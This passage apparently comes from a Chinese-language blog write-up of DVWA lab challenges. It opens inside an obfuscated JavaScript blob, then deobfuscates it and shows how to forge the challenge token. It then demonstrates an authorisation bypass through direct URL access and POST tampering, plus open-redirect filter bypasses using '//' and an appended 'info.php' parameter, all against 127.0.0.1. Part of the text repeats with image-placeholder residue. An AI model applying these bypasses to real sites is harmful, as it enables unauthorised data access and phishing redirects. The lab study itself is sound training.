o]+m[(F>>12)&o]+m[(F>>8)&o]+m[(F>>4)&o]+m[F&o]+m[(J>>28)&o]+m[(J>>24)&o]+m[(J>>20)&o]+m[(J>>16)&o]+m[(J>>12)&o]+m[(J>>8)&o]+m[(J>>4)&o]+m[J&o]+m[(I>>28)&o]+m[(I>>24)&o]+m[(I>>20)&o]+m[(I>>16)&o]+m[(I>>12)&o]+m[(I>>8)&o]+m[(I>>4)&o]+m[I&o]+m[(H>>28)&o]+m[(H>>24)&o]+m[(H>>20)&o]+m[(H>>16)&o]+m[(H>>12)&o]+m[(H>>8)&o]+m[(H>>4)&o]+m[H&o];p(!k.x){1e+=m[(D>>28)&o]+m[(D>>24)&o]+m[(D>>20)&o]+m[(D>>16)&o]+m[(D>>12)&o]+m[(D>>8)&o]+m[(D>>4)&o]+m[D&o]}A\x201e};N.Q.2U=N.Q.1e;N.Q.1G=w(){k.1s();q\x20C=k.C,B=k.B,E=k.E,F=k.F,J=k.J,I=k.I,H=k.H,D=k.D;q\x202b=[(C>>24)&u,(C>>16)&u,(C>>8)&u,C&u,(B>>24)&u,(B>>16)&u,(B>>8)&u,B&u,(E>>24)&u,(E>>16)&u,(E>>8)&u,E&u,(F>>24)&u,(F>>16)&u,(F>>8)&u,F&u,(J>>24)&u,(J>>16)&u,(J>>8)&u,J&u,(I>>24)&u,(I>>16)&u,(I>>8)&u,I&u,(H>>24)&u,(H>>16)&u,(H>>8)&u,H&u];p(!k.x){2b.4A((D>>24)&u,(D>>16)&u,(D>>8)&u,D&u)}A\x202b};N.Q.27=N.Q.1G;N.Q.2R=w(){k.1s();q\x201w=O\x20Z(k.x?28:32);q\x201i=O\x204x(1w);1i.1p(0,k.C);1i.1p(4,k.B);1i.1p(8,k.E);1i.1p(12,k.F);1i.1p(16,k.J);1i.1p(20,k.I);1i.1p(24,k.H);p(!k.x){1i.1p(28,k.D)}A\x201w};w\x201P(G,x,1v){q\x20i,T=1c\x20G;p(T===\x272p\x27){q\x20L=[],W=G.W,M=0,r;1g(i=0;i<W;++i){r=G.1Q(i);p(r<R){L[M++]=r}z\x20p(r<2v){L[M++]=(2t|(r>>6));L[M++]=(R|(r&V))}z\x20p(r<2A||r>=2E){L[M++]=(2D|(r>>12));L[M++]=(R|((r>>6)&V));L[M++]=(R|(r&V))}z{r=2C+(((r&23)<<10)|(G.1Q(++i)&23));L[M++]=(2X|(r>>18));L[M++]=(R|((r>>12)&V));L[M++]=(R|((r>>6)&V));L[M++]=(R|(r&V))}}G=L}z{p(T===\x271n\x27){p(G===2q){1u\x20O\x201t(1l)}z\x20p(1y&&G.1J===Z){G=O\x202r(G)}z\x20p(!1z.1K(G)){p(!1y||!Z.1N(G)){1u\x20O\x201t(1l)}}}z{1u\x20O\x201t(1l)}}p(G.W>1k){G=(O\x20N(x,1d)).S(G).27()}q\x201F=[],2e=[];1g(i=0;i<1k;++i){q\x20b=G[i]||0;1F[i]=4z^b;2e[i]=4y^b}N.1I(k,x,1v);k.S(2e);k.1F=1F;k.2c=1d;k.1v=1v}1P.Q=O\x20N();1P.Q.1s=w(){N.Q.1s.1I(k);p(k.2c){k.2c=1O;q\x202W=k.27();N.1I(k,k.x,k.1v);k.S(k.1F);k.S(2W);N.Q.1s.1I(k)}};q\x20X=2a();X.1q=X;X.1H=2a(1d);X.1q.2V=2f();X.1H.2V=2f(1d);p(2G){2g.X=X}z{Y.1q=X.1q;Y.1H=X.1H;p(2s){2l(w(){A\x20X})}}})();w\x202y(e){1g(q\x20t=\x22\x22,n=e.W-1;n>=0;n--)t+=e[n];A\x20t}w\x202J(t,y=\x224B\x22){1m.1o(\x221M\x22).1r=1q(1m.1o(\x221M\x22).1r+y)}w\x202B(e=\x224E\x22){1m.1o(\x221M\x22).1r=1q(e+1m.1o(\x221M\x22).1r)}w\x202K(a,b){1m.1o(\x221M\x22).1r=2y(1m.1o(\x222F\x22).1r)}1m.1o(\x222F\x22).1r=\x22\x22;4u(w(){2B(\x224M\x22)},4N);1m.1o(\x224P\x22).4Q(\x224R\x22,2J);2K(\x223O\x22,44);', '||||||||||||||||||||this|blocks|HEX_CHARS||0x0F|if|var|code|message||0xFF|t1|function|is224||else|return|h1|h0|h7|h2|h3|key|h6|h5|h4||bytes|index|Sha256|new|method|prototype|0x80|update|type|SHIFT|0x3f|length|exports|root|ArrayBuffer|||||||||||s0|s1|typeof|true|hex|t2|for|ch|dataView|maj|64|ERROR|document|object|getElementById|setUint32|sha256|value|finalize|Error|throw|sharedMemory|buffer|obj|ARRAY_BUFFER|Array|start|ab|block|bc|OUTPUT_TYPES|oKeyPad|digest|sha224|call|constructor|isArray|hashed|token|isView|false|HmacSha256|charCodeAt|WINDOW|crypto|create|finalized|cd|hash|outputType|Buffer|da||||0x3ff||||array|||createMethod|arr|inner|process|iKeyPad|createHmacMethod|module|notString|hBytes|first|createHmacOutputMethod|define|createOutputMethod|algorithm|NODE_JS|string|null|Uint8Array|AMD|0xc0|lastByteIndex|0x800|EXTRA|createHash|do_something|nodeMethod|0xd800|token_part_2|0x10000|0xe0|0xe000|phrase|COMMON_JS|4294967296|window|token_part_3|token_part_1|WEB_WORKER|self|require|eval|nodeWrap|versions|arrayBuffer|JS_SHA256_NO_NODE_JS|undefined|toString|hmac|innerHash|0xf0|0xa2bfe8a1|0xc24b8b70||0xa81a664b||0x92722c85|0x81c2c92e|0xc76c51a3|0x53380d13|0x766a0abb|0x4d2c6dfc|0x650a7354|0x748f82ee|0x84c87814|0x78a5636f|0x682e6ff3|0x8cc70208|0x2e1b2138|0xa4506ceb|0x90befffa|0xbef9a3f7|0x5b9cca4f|0x4ed8aa4a|0x106aa070|0xf40e3585|0xd6990624|0x19a4c116|0x1e376c08|0x391c0cb3|0x34b0bcb5|0x2748774c|0xd192e819|0x0fc19dc6|32768|128|8388608|2147483648|split|0x428a2f98|0x71374491|0x59f111f1|0x3956c25b|0xe9b5dba5|0xb5c0fbcf|0123456789abcdef|JS_SHA256_NO_ARRAY_BUFFER|is|invalid|input|strict|use|JS_SHA256_NO_WINDOW|ABCD|amd|JS_SHA256_NO_COMMON_JS|global|node|0x923f82a4|0xab1c5ed5|0x983e5152|0xa831c66d|0x76f988da|0x5cb0a9dc|0x4a7484aa|0xb00327c8|0xbf597fc7|0x14292967|0x06ca6351||0xd5a79147|0xc6e00bf3|0x2de92c6f|0x240ca1cc|0x550c7dc3|0x72be5d74|0x243185be|0x12835b01|0xd807aa98|0x80deb1fe|0x9bdc06a7|0xc67178f2|0xefbe4786|0xe49b69c1|0xc19bf174|0x27b70a85|0x3070dd17|300032|1413257819|150054599|24177077|56|4294967295|0x5be0cd19|while|setTimeout|704751109|210244248|DataView|0x36|0x5c|push|ZZ|Object|143694565|YY|0x1f83d9ab|1521486534|0x367cd507|0xc1059ed8|0xffc00b31|0x68581511|0x64f98fa7|XX|300|0x9b05688c|send|addEventListener|click|utf8|0xbefa4fa4|0xf70e5939|0x510e527f|0xbb67ae85|0x6a09e667|0x3c6ef372|0xa54ff53a|JS_SHA256_NO_ARRAY_BUFFER_IS_VIEW', 'split'];
(function(c, d) {
var e = function(f) {
while (--f) {
c['push'](c['shift']());
}
};
e(++d);
}(a, 0x1f4));
var b = function(c, d) {
c = c - 0x0;
var e = a[c];
return e;
};
eval(function(d, e, f, g, h, i) {
h = function(j) {
return (j < e ? '' : h(parseInt(j / e))) + ((j = j % e) > 0x23 ? String[b('0x0')](j + 0x1d) : j[b('0x1')](0x24));
}
;
if (!''[b('0x2')](/^/, String)) {
while (f--) {
i[h(f)] = g[f] || h(f);
}
g = [function(k) {
if ('wpA' !== b('0x3')) {
return i[k];
} else {
while (f--) {
i[k(f)] = g[f] || k(f);
}
g = [function(l) {
return i[l];
}
];
k = function() {
return b('0x4');
}
;
f = 0x1;
}
}
];
h = function() {
return b('0x4');
}
;
f = 0x1;
}
;while (f--) {
if (g[f]) {
if (b('0x5') === b('0x6')) {
return i[h];
} else {
d = d[b('0x2')](new RegExp('\x5cb' + h(f) + '\x5cb','g'), g[f]);
}
}
}
return d;
}(b('0x7'), 0x3e, 0x137, b('0x8')[b('0x9')]('|'), 0x0, {}));
免费在线JavaScript混淆加密解密工具 - JS代码加密解密器
源码是一团乱码,这是典型的 JS 混淆,使用还原工具得到源码后得到关键代码部分如下。
function do_something(e) {
for (var t = "", n = e.length - 1; n >= 0; n--) t += e[n];
return t
}
function token_part_3(t, y = "ZZ") {
document.getElementById("token").value = sha256(document.getElementById("token").value + y)
}
function token_part_2(e = "YY") {
document.getElementById("token").value = sha256(e + document.getElementById("token").value)
}
function token_part_1(a, b) {
document.getElementById("token").value = do_something(document.getElementById("phrase").value)
}
document.getElementById("phrase").value = "";
setTimeout(function() {
token_part_2("XX")
}, 300);
document.getElementById("send").addEventListener("click", token_part_3);
token_part_1("ABCD", 44);
由于执行 token_part_2(“XX”) 有 300 毫秒延时,所以 token_part_1(“ABCD”, 44) 会被先执行,而 token_part_3() 则是和提交按钮的 click 事件一起执行。
依次执行 token_part_1(“ABCD”, 44) 和 token_part_2(“XX”),最后点击提交执行 token_part_3()
payload
token_part_1("ABCD", 44)
token_part_2("XX")
token_part_3()

Authorisation Bypass(未授权访问)
low
先使用管理员登录,然后记住下面的数据库以及路径 vulnerabilities/authbypass


登录到普通用户下

我们输入之前的网址


发现可以未授权访问
medium
这里对用户名做出了限制
可以访问网站下面的文件


payload
http://127.0.0.1/dvwa/vulnerabilities/authbypass/get_user_data.php
high
方法和上面的差不多,不同的是需要抓包修改POST请求

修改成功
Open HTTP Redirect(重定向)
low

我们构造参数 让他重定向到百度里面去

源码没有做任何过滤
medium
与low级别的方法没什么区别,查看源码可以发现不同的地方在于禁用了http://,https:// 字段

如果没有明确指定协议,直接以 // 开头,则表示使用和当前页面相同的协议,便可以绕过了
payload
http://127.0.0.1/dvwa/vulnerabilities/open_redirect/source/low.php?redirect=//www.baidu.com
high
查看源码可以发现与上面两个级别不同的是检查是否有info.php字段,如果没有,则不能进行重定向
构造代码绕过:
payload
source/low.php?redirect=http://www.baidu.com?id=info.php

img-itPSG2x1-1758552306022)]
[外链图片转存中…(img-VYXIIGha-1758552306022)]
登录到普通用户下
[外链图片转存中…(img-4Hw1rd2y-1758552306022)]
我们输入之前的网址
[外链图片转存中…(img-hFGUSoJr-1758552306022)]
[外链图片转存中…(img-6fGSnTGD-1758552306022)]
发现可以未授权访问
medium
这里对用户名做出了限制
可以访问网站下面的文件
[外链图片转存中…(img-aq9DnJjj-1758552306022)]
[外链图片转存中…(img-yPG2lbQg-1758552306022)]
payload
http://127.0.0.1/dvwa/vulnerabilities/authbypass/get_user_data.php
high
方法和上面的差不多,不同的是需要抓包修改POST请求
[外链图片转存中…(img-1saQBUNZ-1758552306022)]
修改成功
Open HTTP Redirect(重定向)
low
[外链图片转存中…(img-VKXABKol-1758552306023)]
我们构造参数 让他重定向到百度里面去
[外链图片转存中…(img-DFXTCn6n-1758552306023)]
源码没有做任何过滤
medium
与low级别的方法没什么区别,查看源码可以发现不同的地方在于禁用了http://,https:// 字段
[外链图片转存中…(img-aP8u3nwP-1758552306023)]
如果没有明确指定协议,直接以 // 开头,则表示使用和当前页面相同的协议,便可以绕过了
payload
http://127.0.0.1/dvwa/vulnerabilities/open_redirect/source/low.php?redirect=//www.baidu.com
high
查看源码可以发现与上面两个级别不同的是检查是否有info.php字段,如果没有,则不能进行重定向
构造代码绕过:
payload
source/low.php?redirect=http://www.baidu.com?id=info.php
[外链图片转存中…(img-KpjKioPr-1758552306023)]
1287

被折叠的 条评论
为什么被折叠?



